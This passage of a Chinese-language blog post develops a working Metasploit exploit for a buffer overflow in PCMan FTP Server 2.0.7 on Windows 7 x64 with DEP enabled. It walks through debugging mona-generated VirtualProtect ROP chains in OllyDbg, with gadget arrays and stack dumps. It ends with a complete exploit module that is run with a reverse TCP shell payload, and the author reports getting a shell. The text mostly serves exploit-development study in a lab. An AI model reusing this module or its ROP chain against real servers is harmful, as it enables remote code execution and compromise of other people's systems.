0x76bb2fd0, # NEG EAX # RETN [MSCTF.dll] 0x7727060d, # XCHG EAX,EBX # RETN [OLEAUT32.DLL] 0x027f509d, # POP EAX # RETN [knb3rdhmpg.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x717d1e67, # NEG EAX # RETN [winrnr.dll] 0x753fd586, # XCHG EAX,EDX # RETN [comdlg32.dll] 0x759e9941, # POP ECX # RETN [SHELL32.dll] 0x7647d27c, # &Writable location [USP10.dll] 0x759d4aad, # POP EDI # RETN [SHELL32.dll] 0x76cc4404, # RETN (ROP NOP) [USER32.dll] 0x7364681f, # POP EAX # RETN [COMCTL32.dll] 0x90909090, # nop 0x772b73df, # PUSHAD # RETN [OLEAUT32.DLL] ].flatten.pack("V*") return rop_gadgets end------------------end-------------------------在pcmanftp中,重启系统后在上面的exploit.rb中将offset由2007改成2008,有可能是重启导致的一个字节的相差mona中给出rop_gadgets只是参考的rop,并不代表一定可用,且最新v2版本似乎有点错误,mona算出的rop_gadgets中的第一个地址0x027c9a7a在od中ctrl+g查看一下发现不是对应pop ecx,retn的地址,且有一些地址是执行会产生问题的,这时需要结合od在实际情况中调试实际调试中发现上面的第10个地址0x7727060d对应的XCHG EAX,EBX+retn在od中ctrl+g:7727060d确实是对应xchg eax,ebx+retn指令的,但是如果第10个地址用7727060d,在od跟踪pcmanftp(在402a26处下断,并f7,再f8,f8,...)中00402a26处的call 403e60后(402a26处的call 403e60汇编语句的下一句汇编语句的地址为402a2b,在上面dep off的实验中是堆栈窗口中的18ed64处的402a2b被改成jmp esp的地址)发现堆栈窗口中从18ed64处开始的对应的第10个地址会被改写,比较奇怪,认为是这个地址出了问题,从rop_suggestions.txt中找另外的XCHG EAX,EBX+RETN对应的地址代替后不会有这个问题pcmanftp中的关键断点: 00402a26处的call 403e60 403e60函数帧里面的403ee6处的call 00412cbf 412cbf函数帧里面的412ce8处的call 00416c5c继续od跟踪看哪些地址还需修改运行pcmanftp后od附加,在00402a26处下断,msf发送包含下面rop_gadgets的数据到192.168.3.177------------------changing rop_gadgets-------------- def create_rop_chain() rop_gadgets = [ 0x778a45e1, # POP ECX # RETN [knb3rdhmpg.dll] 0x73c112d0, # ptr to &VirtualProtect() [IAT OLEACC.dll] 0x76969312, # MOV EAX,DWORD PTR DS:[ECX] # RETN [ole32.dll] 0x753c6833, # XCHG EAX,ESI # RETN [KERNELBASE.dll] 0x76b5e6e8, # POP EBP # RETN [msvcrt.dll] 0x74916f14, # & push esp # ret [RICHED20.dll] 0x76b93866, # POP EAX # RETN [msvcrt.dll] 0xfffffdff, # Value to negate, will become 0x00000201 0x76bb2fd0, # NEG EAX # RETN [MSCTF.dll] 0x756bd259, # XCHG EAX,EBX # RETN [OLEAUT32.DLL] 0x74923ca7, # POP EAX # RETN [knb3rdhmpg.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x76cc4402, # NEG EAX # RETN [winrnr.dll] 0x753fd586, # XCHG EAX,EDX # RETN [comdlg32.dll] 0x759e9941, # POP ECX # RETN [SHELL32.dll] 0x7647d27c, # &Writable location [USP10.dll] 0x759d4aad, # POP EDI # RETN [SHELL32.dll] 0x76cc4404, # RETN (ROP NOP) [USER32.dll] 0x7364681f, # POP EAX # RETN [COMCTL32.dll] 0x90909090, # nop 0x772b73df, # PUSHAD # RETN [OLEAUT32.DLL] ].flatten.pack("V*") return rop_gadgets end-----------------------end--------------------------其中向192.168.3.177中pcmanftp发送的数据在下面的sploit变量中:-----------------------sploit--------------------- sploit = rand_text_alpha(target['Offset']) #tmp = sploit #print_status(tmp) sploit << create_rop_chain() sploit << make_nops(30) sploit << "\xcc" sploit << payload.encoded------------------------end-----------------------在msf发送完数据时,要在od中ctrl+v--->t--->resume all threads,原因见上面dep off情况中的分析resume all threads后,pcmanftp中断在00402a26,f9再运行到00402a26,此时开始处理sploit变量中的send_cmd( ["ls", sploit], false ),第一次中断到402a26处为处理anonymous登录相关的字符串此时汇编窗口中的数据如下所示,eip=402a26 00402A26 E8 35140000 call PCManFTP.00403E60 00402A2B 8A46 03 mov al,byte ptr ds:[esi+0x3] 00402A2E 84C0 test al,al 00402A30 75 04 jnz short PCManFTP.00402A36 00402A32 C646 03 20 mov byte ptr ds:[esi+0x3],0x20 00402A36 56 push esi 00402A37 8BCD mov ecx,ebp 00402A39 E8 22000000 call PCManFTP.00402A60 00402A3E 68 DC114400 push PCManFTP.004411DC ; ASCII " " 00402A43 6A 00 push 0x0 00402A45 E8 0CFF0000 call PCManFTP.00412956 00402A4A 8BF0 mov esi,eax 00402A4C 83C4 08 add esp,0x8 00402A4F 85F6 test esi,esi 00402A51 ^ 75 A6 jnz short PCManFTP.004029F9 00402A53 5F pop edi ; 0018ED78 00402A54 5E pop esi ; 0018ED78 00402A55 5D pop ebp ; 0018ED78 00402A56 81C4 04100000 add esp,0x1004 00402A5C C2 0400 retn 0x4此时堆栈中18ed64处的返回地址还没有被覆盖,如下所示: 0018ED5C 00000000 0018ED60 00000000 0018ED64 00402A05 PCManFTP.00402A05 0018ED68 0018ED78 ASCII "LS XnVkIvmqpcmSqSVEClMqFIHQzEBjHrHLdzEnDtwxDnbcqTqseEHLARmjMQrGaiNEnQpxxbUisIZaqPwjoePQmmCPMzhAZDIhYffDXdhLCrWCyhuidqcfuMFhMZecDDopTpMGWcQShqwfgLoDFfnSHbUvoEMVuDLiFEYfaTFfCAAoDuwasvaujuFloUrmoYzyyWqkvXOxkMBqUsTwpPZkbQalYgrryMvEeYywOCAiJv"... 0018ED6C 00000402 0018ED70 00000000其中0018ed5c处的返回地址已经被覆盖成00000000,18ed68处的的指针对应的是msf中的sploit变量的数据od中f7进入403e60函数帧: 00403E60 A1 40354400 mov eax,dword ptr ds:[0x443540] 00403E65 81EC 14080000 sub esp,0x814 00403E6B 85C0 test eax,eax 00403E6D 56 push esi 00403E6E 57 push edi 00403E6F 8BF1 mov esi,ecx 00403E71 75 0D jnz short PCManFTP.00403E80 00403E73 A1 48354400 mov eax,dword ptr ds:[0x443548] 00403E78 85C0 test eax,eax 00403E7A 0F84 31010000 je PCManFTP.00403FB1 00403E80 8D4424 08 lea eax,dword ptr ss:[esp+0x8] 00403E84 50 push eax 00403E85 FF15 A8524300 call dword ptr ds:[<&KERNEL32.GetLocalTi>; kernel32.GetLocalTime 00403E8B 8B46 24 mov eax,dword ptr ds:[esi+0x24] 00403E8E 85C0 test eax,eax 00403E90 74 05 je short PCManFTP.00403E97 00403E92 8B40 08 mov eax,dword ptr ds:[eax+0x8] 00403E95 EB 03 jmp short PCManFTP.00403E9A 00403E97 8B46 04 mov eax,dword ptr ds:[esi+0x4] 00403E9A 8BBC24 20080000 mov edi,dword ptr ss:[esp+0x820] 00403EA1 8B5424 12 mov edx,dword ptr ss:[esp+0x12] 00403EA5 8B4E 0C mov ecx,dword ptr ds:[esi+0xC] 00403EA8 57 push edi 00403EA9 50 push eax 00403EAA 8B4424 18 mov eax,dword ptr ss:[esp+0x18] 00403EAE 81E2 FFFF0000 and edx,0xFFFF 00403EB4 51 push ecx 00403EB5 8B4C24 1A mov ecx,dword ptr ss:[esp+0x1A] 00403EB9 25 FFFF0000 and eax,0xFFFF 00403EBE 52 push edx 00403EBF 8B5424 1A mov edx,dword ptr ss:[esp+0x1A] 00403EC3 50 push eax 00403EC4 8B4424 1C mov eax,dword ptr ss:[esp+0x1C] 00403EC8 81E1 FFFF0000 and ecx,0xFFFF 00403ECE 81E2 FFFF0000 and edx,0xFFFF 00403ED4 51 push ecx 00403ED5 25 FFFF0000 and eax,0xFFFF 00403EDA 52 push edx 00403EDB 50 push eax 00403EDC 8D4C24 3C lea ecx,dword ptr ss:[esp+0x3C] 00403EE0 68 D4164400 push PCManFTP.004416D4 ; ASCII "%d/%d/%d [%02d:%02d] (%05d) %s> %s " 00403EE5 51 push ecx 00403EE6 E8 D4ED0000 call PCManFTP.00412CBF 00403EEB 8B0D 14354400 mov ecx,dword ptr ds:[0x443514] 00403EF1 83C4 28 add esp,0x28 00403EF4 83F9 FF cmp ecx,-0x1 00403EF7 74 14 je short PCManFTP.00403F0D 00403EF9 8D5424 18 lea edx,dword ptr ss:[esp+0x18] 00403EFD 6A 00 push 0x0 00403EFF 52 push edx 00403F00 50 push eax 00403F01 8D4424 28 lea eax,dword ptr ss:[esp+0x28] 00403F05 50 push eax 00403F06 51 push ecx 00403F07 FF15 C8524300 call dword ptr ds:[<&KERNEL32.WriteFile>>; kernel32.WriteFile 00403F0D A1 48354400 mov eax,dword ptr ds:[0x443548] 00403F12 85C0 test eax,eax 00403F14 0F84 97000000 je PCManFTP.00403FB1 00403F1A E8 1FCC0100 call PCManFTP.00420B3E 00403F1F 85C0 test eax,eax 00403F21 0F84 8A000000 je PCManFTP.00403FB1 00403F27 8B10 mov edx,dword ptr ds:[eax] 00403F29 8BC8 mov ecx,eax 00403F2B FF52 74 call dword ptr ds:[edx+0x74] 00403F2E 85C0 test eax,eax 00403F30 74 7F je short PCManFTP.00403FB1 00403F32 0FBE07 movsx eax,byte ptr ds:[edi] 00403F35 50 push eax 00403F36 E8 25EF0000 call PCManFTP.00412E60 00403F3B 83C4 04 add esp,0x4 00403F3E 85C0 test eax,eax 00403F40 74 4A je short PCManFTP.00403F8C 00403F42 E8 F7CB0100 call PCManFTP.00420B3E 00403F47 85C0 test eax,eax 00403F49 74 23 je short PCManFTP.00403F6E 00403F4B 8B10 mov edx,dword ptr ds:[eax] 00403F4D 8BC8 mov ecx,eax 00403F4F FF52 74 call dword ptr ds:[edx+0x74] 00403F52 8D4C24 1C lea ecx,dword ptr ss:[esp+0x1C] 00403F56 51 push ecx 00403F57 68 00800000 push 0x8000 00403F5C 8BC8 mov ecx,eax 00403F5E E8 8D5D0000 call PCManFTP.00409CF0 00403F63 5F pop edi ; PCManFTP.00402A2B 00403F64 5E pop esi ; PCManFTP.00402A2B 00403F65 81C4 14080000 add esp,0x814 00403F6B C2 0400 retn 0x4一直f8到上面403ee6处的call 00412cbf,暂时不跟进,再按f8之后将完成18ed64处的返回地址被覆盖f8后18ed64处的覆盖内容如下: 0018ED5C 564F514E #此时此处的原来被覆盖成00000000的wsock.revc函数的返回地址被覆盖成另外的值 0018ED60 6475586A 0018ED64 778A45E1 返回到 ntdll_12.778A45E1 来自 ntdll_12.DbgPrint 0018ED68 73C112D0 <&KERNEL32.VirtualProtect> 0018ED6C 76969312 ole32.76969312 0018ED70 753C6833 返回到 KernelBa.753C6833 0018ED74 76B5E6E8 msvcrt.76B5E6E8 0018ED78 74916F14 riched20.74916F14 0018ED7C 76B93866 msvcrt.76B93866 0018ED80 FFFFFDFF 0018ED84 76BB2FD0 msctf.76BB2FD0 0018ED88 756BD259 shell32.756BD259 0018ED8C 74923CA7 riched20.74923CA7 0018ED90 FFFFFFC0 0018ED94 76CC4402 user32.76CC4402 0018ED98 753FD586 comdlg32.753FD586 0018ED9C 759E9941 返回到 shell32.759E9941 来自 shell32.756DC254 0018EDA0 7647D27C usp10.7647D27C 0018EDA4 759D4AAD shell32.759D4AAD 0018EDA8 76CC4404 user32.76CC4404 0018EDAC 7364681F comctl32.7364681F 0018EDB0 90909090 0018EDB4 772B73DF oleaut32.772B73DF 0018EDB8 939F4848 0018EDBC 3F9BD691 0018EDC0 4E274E37 0018EDC4 D6439937 0018EDC8 4B484393 0018EDCC 91FDF948 0018EDD0 479FFC4E 0018EDD4 F8CC4691其中rop_gadgets数据已经完全和发送的一样,而rop_gadgets后0018edb8处开始到0018edd5原来应该是30个nop+"\xcc",其中的30个nop数据不是nop数据了,"\xcc"没变在od中ctrl+f9运行到retn,然后再f8,此时eip=rop_gadgets中第一个数据,然后再f8..f8看看哪里会出问题f8跟踪到0018edb4处的772b73df,772b73df中的指令为pushad retn,可想,执行完pushad后esp就上移了,这样再retn的话retn到的便不是rop_gadgets中的原来的应该是30个nop处的地方(现在被改写了,不再是30个nop)觉得是mona的错误,不应该在最后加个poshad+retn的地址,将rop_gadgets中最后的pushad+retn的地址删除后再重新发送sploit数据并跟踪到rop_gadgets中第一个数据,然后再f8..f8看看哪里会出问题再次进入到rop_gadgets中的第一个地址778a45e1处,此时eip=778a45e1,堆栈窗口中的18ed64处的数据为: 0018ED64 778A45E1 ntdll_12.778A45E1 0018ED68 73C112D0 <&KERNEL32.VirtualProtect> 0018ED6C 76969312 ole32.76969312 0018ED70 753C6833 返回到 KernelBa.753C6833 0018ED74 76B5E6E8 msvcrt.76B5E6E8 0018ED78 74916F14 riched20.74916F14 0018ED7C 76B93866 msvcrt.76B93866 0018ED80 FFFFFDFF 0018ED84 76BB2FD0 msctf.76BB2FD0 0018ED88 756BD259 shell32.756BD259 0018ED8C 74923CA7 riched20.74923CA7 0018ED90 FFFFFFC0 0018ED94 76CC4402 user32.76CC4402 0018ED98 753FD586 comdlg32.753FD586 0018ED9C 759E9941 返回到 shell32.759E9941 来自 shell32.756DC254 0018EDA0 7647D27C usp10.7647D27C 0018EDA4 759D4AAD shell32.759D4AAD 0018EDA8 76CC4404 user32.76CC4404 0018EDAC 7364681F comctl32.7364681F 0018EDB0 90909090 0018EDB4 4A4E96F5 0018EDB8 4841F59B 0018EDBC 48FD4B99 0018EDC0 93909899 0018EDC4 93989B4F 0018EDC8 904242F9 0018EDCC 98379648 0018EDD0 90CC2797对比观察发现rop_gadgets中的地址还没开始执行(eip=778a45e1)时,后面的rop_gadgets数据不变,但是后面30个nop还是被改成其他数据,尝试将后面的30个nop改成41414141...再次跟踪到eip=rop_gadgets中的第一个地址778a45e1时,堆栈窗口中的数据如下: 0018ED64 778A45E1 ntdll_12.778A45E1 0018ED68 73C112D0 <&KERNEL32.VirtualProtect> 0018ED6C 76969312 ole32.76969312 0018ED70 753C6833 返回到 KernelBa.753C6833 0018ED74 76B5E6E8 msvcrt.76B5E6E8 0018ED78 74916F14 riched20.74916F14 0018ED7C 76B93866 msvcrt.76B93866 0018ED80 FFFFFDFF 0018ED84 76BB2FD0 msctf.76BB2FD0 0018ED88 756BD259 shell32.756BD259 0018ED8C 74923CA7 riched20.74923CA7 0018ED90 FFFFFFC0 0018ED94 76CC4402 user32.76CC4402 0018ED98 753FD586 comdlg32.753FD586 0018ED9C 759E9941 返回到 shell32.759E9941 来自 shell32.756DC254 0018EDA0 7647D27C usp10.7647D27C 0018EDA4 759D4AAD shell32.759D4AAD 0018EDA8 76CC4404 user32.76CC4404 0018EDAC 7364681F comctl32.7364681F 0018EDB0 90909090 0018EDB4 41414141 0018EDB8 41414141 0018EDBC 41414141 0018EDC0 41414141 0018EDC4 41414141 0018EDC8 41414141 0018EDCC 41414141 0018EDD0 4FCC4141发现这时后面的30个41还是正常的没有被改变的,这样说明应该是win7x64位系统下开户dep后,栈中覆盖好的nop串会被改变成其他随机的填充数据,也有可能是nop串太长为30个时才会这样,考虑到上一篇文中http://xinghuacai.github.io/%E4%BA%8C%E8%BF%9B%E5%88%B6/2016/06/04/%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%85%A5%E9%97%A8-%E5%8A%A8%E6%80%81%E8%B7%9F%E8%B8%AA%E6%BA%90%E4%BB%A3%E7%A0%81%E5%92%8C%E5%8F%8D%E6%B1%87%E7%BC%96%E4%BB%A3%E7%A0%81/提到msf的payload前面有可能需要至少9个nop空间帮助完成payload的解码等工作,将30个nop改成9个nop试试9个nop会不会被改成随机的填充数据再次重新跟踪到eip=rop_gadgets中的第一个地址时,18ed64处的数据为: 0018ED64 778A45E1 ntdll_12.778A45E1 0018ED68 73C112D0 <&KERNEL32.VirtualProtect> 0018ED6C 76969312 ole32.76969312 0018ED70 753C6833 返回到 KernelBa.753C6833 0018ED74 76B5E6E8 msvcrt.76B5E6E8 0018ED78 74916F14 riched20.74916F14 0018ED7C 76B93866 msvcrt.76B93866 0018ED80 FFFFFDFF 0018ED84 76BB2FD0 msctf.76BB2FD0 0018ED88 756BD259 shell32.756BD259 0018ED8C 74923CA7 riched20.74923CA7 0018ED90 FFFFFFC0 0018ED94 76CC4402 user32.76CC4402 0018ED98 753FD586 comdlg32.753FD586 0018ED9C 759E9941 返回到 shell32.759E9941 来自 shell32.756DC254 0018EDA0 7647D27C usp10.7647D27C 0018EDA4 759D4AAD shell32.759D4AAD 0018EDA8 76CC4404 user32.76CC4404 0018EDAC 7364681F comctl32.7364681F 0018EDB0 90909090 0018EDB4 4E43F842 0018EDB8 D64348F9 0018EDBC 4B46CCFD发现9个nop还是会被填充成随机数据(后来发现不是被win7x64系统的安全保护填充的,而是因为msf自带的nop有好几种,不只是9090,其他应该是类似的花指令),\xcc到是一直没有被改写,试着不要9个nop了,将原来rop_gadges中的pushad+retn指令的地址改成一条jmp esp指令的地址,并在该地址后接payload数据,上面的dep off时的exploit.rb中的jmp esp的地址76061b1b在dep on时为call esp汇编语句的地址,不用在od中查找其他的了,call esp也可跳到后面的pyaload执行发送如下的rop_gadgets数据+不要nop+不要\xcc的数据到pcmanftp:---------------sploit data-------------def create_rop_chain() rop_gadgets = [ 0x778a45e1, # POP ECX # RETN [knb3rdhmpg.dll] 0x73c112d0, # ptr to &VirtualProtect() [IAT OLEACC.dll] 0x76969312, # MOV EAX,DWORD PTR DS:[ECX] # RETN [ole32.dll] 0x753c6833, # XCHG EAX,ESI # RETN [KERNELBASE.dll] 0x76b5e6e8, # POP EBP # RETN [msvcrt.dll] 0x74916f14, # & push esp # ret [RICHED20.dll] 0x76b93866, # POP EAX # RETN [msvcrt.dll] 0xfffffdff, # Value to negate, will become 0x00000201 0x76bb2fd0, # NEG EAX # RETN [MSCTF.dll] 0x756bd259, # XCHG EAX,EBX # RETN [OLEAUT32.DLL] 0x74923ca7, # POP EAX # RETN [knb3rdhmpg.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x76cc4402, # NEG EAX # RETN [winrnr.dll] 0x753fd586, # XCHG EAX,EDX # RETN [comdlg32.dll] 0x759e9941, # POP ECX # RETN [SHELL32.dll] 0x7647d27c, # &Writable location [USP10.dll] 0x759d4aad, # POP EDI # RETN [SHELL32.dll] 0x76cc4404, # RETN (ROP NOP) [USER32.dll] 0x7364681f, # POP EAX # RETN [COMCTL32.dll] 0x90909090, # nop #0x772b73df, # PUSHAD # RETN [OLEAUT32.DLL] 0x76061b1b, #call esp ].flatten.pack("V*") return rop_gadgets end def exploit connect_login print_status('Generating payload...') sploit = rand_text_alpha(target['Offset']) #tmp = sploit #print_status(tmp) sploit << create_rop_chain() #sploit << make_nops(9) #sploit << "\x41"*30 #sploit << "\xcc" sploit << payload.encoded tmp=sploit print_status(tmp) send_cmd( ["ls", sploit], false ) disconnect end end-------------------end-----------------再次跟踪到rop_gadges中的第一个地址,再f8直到上面sploit变量中的rop_gadget中的最后一个地址call esp的地址处程序报错,异常偏移为00a31b1b,难道是rop_gadgets中的地址串执行后没有实现后面的payload为栈中可执行?再次跟踪到rop_gadgets中的所有地址,发现最后jmp esp执行后程序报错,报出0018edb8处为异常偏移,而0018edb8处为payload开始的对应的堆栈窗口中地址,且每次0018edb8中的数据都不同,难道连payload都被随机数填充了?有比较大的可能性是执行完上面的rop_gadgets中的地址对应的指令后没有实现payload在栈中可执行,难道是不应该把mona生成的rop_gadges中的最后的pushad+retn对应的地址换成jmp esp的地址?再看看相关mona的资料,后面的pushad + retn应该是存在的,具体原因见下图virtualprotect_rop中所示
图virtualprotect_rop mona生成的rop_gadgets中的最后一句中的pushad+retn指令的地址是必须的,正是通过pushad+retn的执行才可以导致virtualprotect的执行,实现的原理是在pushad之前将pushad的各个寄存器按照对应的顺序设置成刚好可以调用virtualprotect函数使后面的shellcode为可执行后来调试在进入virtualprotect_rop前最后一个函数00403e60的返回语句是retn 4而不是retn,所以rop_gadgets中的第一个地址后要加一个过渡的值,这里取为0x41414141----------------------------00403e60-------------------------------- 00402A26 E8 35140000 call PCManFTP.00403E60 00402A2B 8A46 03 mov al,byte ptr ds:[esi+0x3] 00403E60 A1 40354400 mov eax,dword ptr ds:[0x443540] 00403E65 81EC 14080000 sub esp,0x814 00403E6B 85C0 test eax,eax ... ... ... 00403FB1 5F pop edi ; kernel32.77032C3B 00403FB2 5E pop esi ; kernel32.77032C3B 00403FB3 81C4 14080000 add esp,0x814 00403FB9 C2 0400 retn 0x4-------------------------------end-----------------------------------在mona生成的最后rop_chains.txt文件中有virutalalloc过dep的rop_gadgets,也有virtualprotect过dep的rop_gadgets,刚开始以为是mona出错了,后来发现是用到了mona里面的virtualalloc过dep方式0day2中提到下面几种方法过dep:1.ZwSetInformationProcess:利用api彻底关闭dep2.VirtualProtect:利用api设置shellcode所在的内存空间为可执行3.VirtualAlloc:利用api申请可执行内存后将shellcode复制过去(需再用memcopy的api)4.利用可执行内存挑战dep5.利用.NET挑战dep6.利用Java applet挑战dep这里用的是2中的virtualprotect中的方法,mona生成的virtualalloc的方法应该是缺少了memcopy的chain,导致刚开始一直错误地以为mona错了最后再用mona生成的rop_gadgets如下:(第二个地址为新添加的0x41414141)--------------------new_rop_gadgets-------------------- rop_gadgets = [ 0x77032c3b, # POP EAX # RETN [kernel32.dll] 0x41414141, # added data to fit retn 4 from func 00403e60 0x73c112d0, # ptr to &VirtualProtect() [IAT OLEACC.dll] 0x76bb4412, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSCTF.dll] 0x76408d2a, # XCHG EAX,ESI # RETN [SHLWAPI.dll] 0x76b607f0, # POP EBP # RETN [msvcrt.dll] 0x74916f14, # & push esp # ret [RICHED20.dll] 0x7368b031, # POP EAX # RETN [COMCTL32.dll] 0xffffddff, # Value to negate, will become 0x00000201 0x756c9a5c, # NEG EAX # RETN [SHELL32.dll] 0x767088bd, # XCHG EAX,EBX # RETN [RPCRT4.dll] 0x77031d7b, # POP EAX # RETN [kernel32.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x76cc4402, # NEG EAX # RETN [SHELL32.dll] 0x76b4ad98, # XCHG EAX,EDX # RETN [SHELL32.dll] 0x756b1cc1, # POP ECX # RETN [SHELL32.dll] 0x7647c663, # &Writable location [USP10.dll] 0x73756cf3, # POP EDI # RETN [COMCTL32.dll] 0x76cc4404, # RETN (ROP NOP) [USER32.dll] 0x76b3f5d4, # POP EAX # RETN [msvcrt.dll] 0x90909090, # nop 0x7366e16f, # PUSHAD # RETN [COMCTL32.dll] ].flatten.pack("V*")------------------------end----------------------------再次开msf发payload,od附加,调试时发现如下图ebx_error错误
图ebx_error 后来发现原来的mona中的virtualprotect是获得0x201(对应上面的0xffffddff,neg取反后为0x201)个可执行栈空间,以为是msf中的payload比这个长导致shellcode执行出错,后来将这个值设置为0xffffddff后没能关掉dep,应该是由于长度太大或许超过了栈空间的大小而导致virtualprotect函数的失败,于是没能成功关掉dep后来将这个值设置成0xfffffaff(neg取反后的结果比0x201大),又可以关掉dep了,只是后面的shellcode执行还是不成功怀疑有可能是像上图ebx_error中说的是ebx错了,也有可能是像0day2中说的ebp在溢出的过程中被破坏,这些只有再次从od中动态分析才可知后来还是自己想多了,mona之所以称为神器,在于的确是神器,怎会轻易出错换个payload马上成功,对msf还是不够熟悉!!一个payload不行可以换啊!!最后的exploit.rb如下,改成mypcmanftp-anti-dep.rb,放到/msfdirectory/modules/exploit/windows/my/目录下后执行下面的命令:use exploit/windows/my/mypcmanftp-anti-depset payload windows/shell/reverse_tcp_rc4set RC4PASSWORD mypasswordexploit成功弹shell----------------------------exploit.rb------------------------------- # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'PCMAN FTP Server Buffer Overflow - PUT Command', 'Description' => %q{ This module exploits a buffer overflow vulnerability found in the PUT command of the PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous credientials are enabled. }, 'Author' => [ 'quanyechavshuo' ], 'License' => MSF_LICENSE, 'References' => [ [ 'EDB', '37731'], [ 'OSVDB', '94624'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0A\x0D", }, 'Platform' => 'win', 'Targets' => [ [ 'windows 7 x64', { 'Ret' => 0x77636aeb, # jmp esp C:\WINDOWS\system32\ntdll.dll 'Offset' => 2008 } ], ], 'DisclosureDate' => 'Aug 07 2015', 'DefaultTarget' => 0)) end def check connect_login disconnect if /220 PCMan's FTP Server 2\.0/ === banner Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def create_rop_chain() # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x77032c3b, # POP EAX # RETN [kernel32.dll] 0x41414141, 0x73c112d0, # ptr to &VirtualProtect() [IAT OLEACC.dll] 0x76bb4412, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSCTF.dll] 0x76408d2a, # XCHG EAX,ESI # RETN [SHLWAPI.dll] 0x76b607f0, # POP EBP # RETN [msvcrt.dll] 0x74916f14, # & push esp # ret [RICHED20.dll] 0x7368b031, # POP EAX # RETN [COMCTL32.dll] 0xfffffaff, # Value to negate, will become 0x00000201 0x756c9a5c, # NEG EAX # RETN [SHELL32.dll] 0x767088bd, # XCHG EAX,EBX # RETN [RPCRT4.dll] 0x77031d7b, # POP EAX # RETN [kernel32.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x76cc4402, # NEG EAX # RETN [SHELL32.dll] 0x76b4ad98, # XCHG EAX,EDX # RETN [SHELL32.dll] 0x756b1cc1, # POP ECX # RETN [SHELL32.dll] 0x7647c663, # &Writable location [USP10.dll] 0x73756cf3, # POP EDI # RETN [COMCTL32.dll] 0x76cc4404, # RETN (ROP NOP) [USER32.dll] 0x76b3f5d4, # POP EAX # RETN [msvcrt.dll] 0x90909090, # nop 0x7366e16f, # PUSHAD # RETN [COMCTL32.dll] ].flatten.pack("V*") return rop_gadgets end def exploit connect_login print_status('Generating payload...') sploit = rand_text_alpha(target['Offset']) #tmp = sploit #print_status(tmp) sploit << create_rop_chain() #sploit << make_nops(9) 这句产生的nop并非90 sploit << "\x90"*30 #sploit << "\x41"*30 #sploit << "\xcc" sploit << payload.encoded #tmp=sploit tmp=make_nops(9) print_status(tmp) send_cmd( ["ls", sploit], false ) disconnect end end-------------------------------end-----------------------------------
|